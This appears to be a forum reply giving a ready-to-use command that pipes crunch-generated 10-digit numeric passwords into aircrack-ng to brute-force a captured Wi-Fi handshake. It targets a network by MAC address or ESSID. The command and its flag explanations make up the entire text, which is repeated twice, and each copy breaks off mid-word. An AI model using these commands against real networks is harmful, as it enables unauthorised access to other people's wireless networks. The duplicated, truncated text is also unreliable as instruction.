Try this format:
crunch 10 10 "0123456789" | aircrack-ng handshake.cap -b xx:xx:xx:xx:xx:xx -w -
Where -b = mac address of target
or
crunch 10 10 "0123456789" | aircrack-ng handshake.cap -e "Hot Spot" -w -
Where -e = essid or AP name
Notice -w - = D...
crunch 10 10 "0123456789" | aircrack-ng handshake.cap -b xx:xx:xx:xx:xx:xx -w -
Where -b = mac address of target
or
crunch 10 10 "0123456789" | aircrack-ng handshake.cap -e "Hot Spot" -w -
Where -e = essid or AP name
Notice -w - = D...